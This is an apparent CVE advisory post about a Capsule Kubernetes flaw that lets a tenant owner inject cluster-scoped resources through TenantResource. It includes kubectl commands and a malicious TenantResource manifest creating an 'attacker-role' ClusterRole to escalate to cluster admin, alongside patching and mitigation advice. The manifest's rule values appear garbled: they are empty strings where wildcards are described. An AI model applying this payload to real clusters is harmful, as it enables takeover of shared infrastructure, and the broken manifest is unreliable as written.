Listen to this Post
The Capsule controller runs with `cluster-admin` privileges to manage tenant namespaces and policies. Its `TenantResource` custom resource allows tenant owners to define additional resources that should be created inside their tenant. To prevent privilege escalation, Capsule’s reconciliation logic forcibly sets the `namespace` field of any submitted resource to the tenant’s namespace. This measure, however, only applies to namespaced resources. For cluster‑scoped resources (e.g., ClusterRole, ClusterRoleBinding, ValidatingWebhookConfiguration), the namespace override has no effect – these resources are not bound to any namespace. As a result, a malicious tenant owner can craft a `TenantResource` containing a cluster‑scoped resource definition and submit it to the Capsule API. The controller, still running with `cluster-admin` privileges, will create that resource directly in the cluster without any further validation. Once the cluster‑scoped resource exists, the attacker can abuse it to gain privileges across all tenants, modify global admission webhooks, or perform other cluster‑wide actions. The attack requires the attacker to have Tenant Owner privileges (the highest role inside a Capsule tenant) and the Capsule controller to be deployed with its default `cluster-admin` service account – both of which are typical in production Capsule installations. Some clusters may have additional admission controllers that could reject malicious resources, but this is not a guaranteed mitigation. The vulnerability was fixed in Capsule version 0.13.0 by adding explicit validation that rejects any cluster‑scoped resource in `TenantResource` definitions.
DailyCVE Form:
Platform: Kubernetes+Capsule
Version: <0.13.0
Vulnerability: Cluster‑scoped injection
Severity: High (6.9)
Date: 2026‑06‑01
Prediction: Patch immediate (v0.13.0)
What Undercode Say:
Identify Capsule controller service account kubectl get sa -n capsule-system capsule-controller Check controller privileges kubectl auth can-i --list --as=system:serviceaccount:capsule-system:capsule-controller Malicious TenantResource YAML (cluster-scoped ClusterRole) cat <<EOF | kubectl apply -f - apiVersion: capsule.clastix.io/v1beta1 kind: TenantResource metadata: name: malicious-clusterrole namespace: tenant-attacker spec: rawItems: - apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: attacker-role rules: - apiGroups: [""] resources: [""] verbs: [""] EOF Verify cluster-scoped resource creation kubectl get clusterrole attacker-role
Exploit:
A tenant owner creates a `TenantResource` containing a `ClusterRole` with wildcard privileges. Capsule controller, ignoring the namespace override, creates the `ClusterRole` cluster‑wide. Attacker binds the role to their own user, gaining full cluster admin.
Protection:
- Upgrade Capsule to v0.13.0 or later.
- Deploy a validating admission webhook that blocks creation of any cluster‑scoped resource by the Capsule controller.
- Run the Capsule controller with a least‑privilege service account instead of
cluster-admin. - Audit existing `TenantResource` objects for embedded cluster‑scoped resources.
Impact:
- Full cluster compromise by a single tenant owner.
- Bypass of multi‑tenancy isolation.
- Ability to disable or manipulate global admission controllers (e.g.,
ValidatingWebhookConfiguration). - Persistence via cluster‑wide backdoors.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
